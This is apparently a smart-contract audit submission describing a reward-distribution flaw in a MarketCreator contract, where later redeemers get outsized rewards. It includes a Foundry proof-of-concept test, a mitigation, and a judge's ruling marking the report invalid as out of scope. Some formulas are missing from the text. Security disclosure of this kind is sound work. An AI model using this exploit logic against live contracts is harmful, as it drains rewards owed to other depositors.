Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Invalid

Redemption Timing Reward Exploit in MarketCreator

Overview

The MarketCreator contract enables the owner to create markets with a fixed “reward” parameter and allows users to participate by depositing a designated quote asset. When users redeem their positions after a lock period, their reward is calculated as:

reward = (user_deposit × market.reward) / market.totalDeposits

However, because the contract updates the market’s total deposits upon each redemption, the denominator in the reward calculation decreases over time. This dynamic can be manipulated by the redemption order—resulting in a situation where the final redeemer (or later redeemers) can claim a disproportionately higher reward than intended, even exceeding the fixed market.reward value.

Root Cause & Attack Path

  1. Reward Calculation Mechanism:

    • When a user participates, the market’s totalDeposits increases by their deposit amount.

    • Upon redemption, the reward is computed as:

      (amount * market.reward) / market.totalDeposits
    • Immediately after, the redeemed amount is subtracted from market.totalDeposits.

  2. Impact of Redemption Order:

    • Suppose two users deposit amounts A and B such that totalDeposits = A + B.

    • If User A redeems first, they receive: and market.totalDeposits is reduced to B.

    • Then, when User B redeems, they receive:

    • Total reward distributed becomes:

    • This shows that later redeemers can “capture” the full reward (or even more when aggregated across several sequential redemptions), resulting in a total distributed reward that exceeds the market’s fixed reward parameter.

    Attack Scenario:

    • A malicious participant (or a coordinated group) could deliberately time their redemption to be the last (or among the last) to redeem their position.

    • By doing so, they force early redeemers to receive a reduced reward while claiming nearly the entire fixed reward themselves.

    • This not only dilutes the rewards for honest participants but also allows an attacker to extract more value than intended, undermining the economic fairness of the market.

Foundry PoC Demonstration

In this PoC, two users deposit into a market. User A redeems first, reducing the totalDeposits, and then User B redeems, receiving a reward equal to the full market.reward—even though the fixed reward was meant to be shared proportionately.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "openzeppelin-contracts/token/ERC20/ERC20.sol";
import "openzeppelin-contracts/token/ERC20/utils/SafeERC20.sol";
// Minimal ERC20 token used as both the quote asset and RAAC token.
contract TestToken is ERC20 {
constructor(string memory name, string memory symbol) ERC20(name, symbol) {
_mint(msg.sender, 1_000_000e18);
}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
// Simplified MarketCreator for testing.
contract MarketCreator is Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
struct Market {
IERC20 quoteAsset;
uint256 lockDuration;
uint256 reward;
uint256 totalDeposits;
}
struct UserPosition {
uint256 amount;
uint256 lockEndTime;
bool exists;
}
uint256 public constant MAX_LOCK_DURATION = 365 days;
uint256 public constant MAX_REWARD = 1000 * 1e18; // 1000 RAAC maximum
mapping(uint256 => Market) public markets;
mapping(uint256 => mapping(address => UserPosition)) public userPositions;
uint256 public marketCount;
IERC20 public raacToken;
event MarketCreated(uint256 indexed marketId, address quoteAsset, uint256 lockDuration, uint256 reward);
event Participated(uint256 indexed marketId, address indexed user, uint256 amount);
event Redeemed(uint256 indexed marketId, address indexed user, uint256 amount, uint256 reward);
constructor(address _raacToken) {
raacToken = IERC20(_raacToken);
}
function createMarket(address _quoteAsset, uint256 _lockDuration, uint256 _reward) external onlyOwner {
require(_quoteAsset != address(0), "Invalid quote asset");
require(_lockDuration > 0 && _lockDuration <= MAX_LOCK_DURATION, "Invalid lock duration");
require(_reward > 0 && _reward <= MAX_REWARD, "Invalid reward");
marketCount++;
markets[marketCount] = Market(IERC20(_quoteAsset), _lockDuration, _reward, 0);
emit MarketCreated(marketCount, _quoteAsset, _lockDuration, _reward);
}
function participateInMarket(uint256 marketId, uint256 amount) external nonReentrant {
Market storage market = markets[marketId];
require(address(market.quoteAsset) != address(0), "Market does not exist");
require(amount > 0, "Amount must be > 0");
market.totalDeposits += amount;
UserPosition storage position = userPositions[marketId][msg.sender];
if (position.exists) {
position.amount += amount;
position.lockEndTime = block.timestamp + market.lockDuration;
} else {
userPositions[marketId][msg.sender] = UserPosition(amount, block.timestamp + market.lockDuration, true);
}
market.quoteAsset.safeTransferFrom(msg.sender, address(this), amount);
emit Participated(marketId, msg.sender, amount);
}
function redeemFromMarket(uint256 marketId) external nonReentrant {
Market storage market = markets[marketId];
UserPosition storage position = userPositions[marketId][msg.sender];
require(position.exists, "No position found");
require(block.timestamp >= position.lockEndTime, "Lock not ended");
uint256 amount = position.amount;
// Calculate reward based on current total deposits.
uint256 reward = (amount * market.reward) / market.totalDeposits;
market.totalDeposits -= amount;
delete userPositions[marketId][msg.sender];
market.quoteAsset.safeTransfer(msg.sender, amount);
raacToken.safeTransfer(msg.sender, reward);
emit Redeemed(marketId, msg.sender, amount, reward);
}
}
contract MarketCreatorExploitTest is Test {
TestToken quoteToken;
TestToken raacToken;
MarketCreator marketCreator;
address owner = address(1);
address userA = address(2);
address userB = address(3);
function setUp() public {
vm.startPrank(owner);
// Deploy tokens.
quoteToken = new TestToken("QuoteToken", "QT");
raacToken = new TestToken("RAACToken", "RAAC");
// Mint RAAC tokens to MarketCreator for reward payouts.
raacToken.mint(owner, 1000e18);
marketCreator = new MarketCreator(address(raacToken));
// Create a market with a fixed reward.
// Let reward = 100e18 and lock duration = 1 day.
marketCreator.createMarket(address(quoteToken), 1 days, 100e18);
vm.stopPrank();
// Distribute quote tokens to users.
quoteToken.mint(userA, 100e18);
quoteToken.mint(userB, 100e18);
// Approve MarketCreator for both users.
vm.startPrank(userA);
quoteToken.approve(address(marketCreator), type(uint256).max);
vm.stopPrank();
vm.startPrank(userB);
quoteToken.approve(address(marketCreator), type(uint256).max);
vm.stopPrank();
}
function testRedemptionTimingExploit() public {
// Both users participate in market 1.
vm.startPrank(userA);
marketCreator.participateInMarket(1, 50e18); // User A deposits 50
vm.stopPrank();
vm.startPrank(userB);
marketCreator.participateInMarket(1, 50e18); // User B deposits 50
vm.stopPrank();
// Total deposits = 100e18, reward pool = 100e18.
// Scenario 1: User A redeems first.
vm.warp(block.timestamp + 2 days); // After lock expiration
vm.startPrank(userA);
marketCreator.redeemFromMarket(1);
vm.stopPrank();
// At redemption, user A gets reward = (50e18 * 100e18) / 100e18 = 50e18.
// Total deposits now become 50e18.
// Scenario 2: User B redeems next.
vm.startPrank(userB);
marketCreator.redeemFromMarket(1);
vm.stopPrank();
// User B’s reward is calculated as (50e18 * 100e18) / 50e18 = 100e18.
// Total reward distributed = 50e18 + 100e18 = 150e18, which exceeds the fixed reward of 100e18.
// Assert that the RAAC reward transfer to userB exceeds the intended share.
uint256 userBReward = raacToken.balanceOf(userB);
assertEq(userBReward, 100e18, "User B should receive 100 RAAC reward");
}
}

PoC Exp

  • Two users each deposit 50 tokens into the same market (total deposits = 100).

  • User A redeems first and receives 50% of the reward pool (50 RAAC) since the denominator is 100.

  • After User A’s redemption, total deposits drop to 50.

  • When User B redeems, they receive the full reward (100 RAAC) because the reward calculation uses the new totalDeposits (50), thereby doubling their share.

  • As a result, the total reward distributed becomes 150 RAAC—exceeding the market’s fixed reward of 100 RAAC.

Mitigation

Fix:
To prevent this exploit, the reward calculation must use a fixed denominator that does not change with each redemption. One approach is to record the total deposits at market creation (or at a defined “end” of the market) and use that fixed value for reward allocation. For example:

  1. Add a new field (e.g., initialTotalDeposits) in the Market struct that records the total deposits when the market is finalized (or at the first redemption).

  2. Use that fixed value in calculateReward so that every user’s reward is computed proportionally from the same baseline.

Alternatively, you could implement a mechanism that redeems rewards for all participants at once, ensuring that the total distributed reward never exceeds the intended market.reward.

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Invalidated
Reason: Out of scope

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!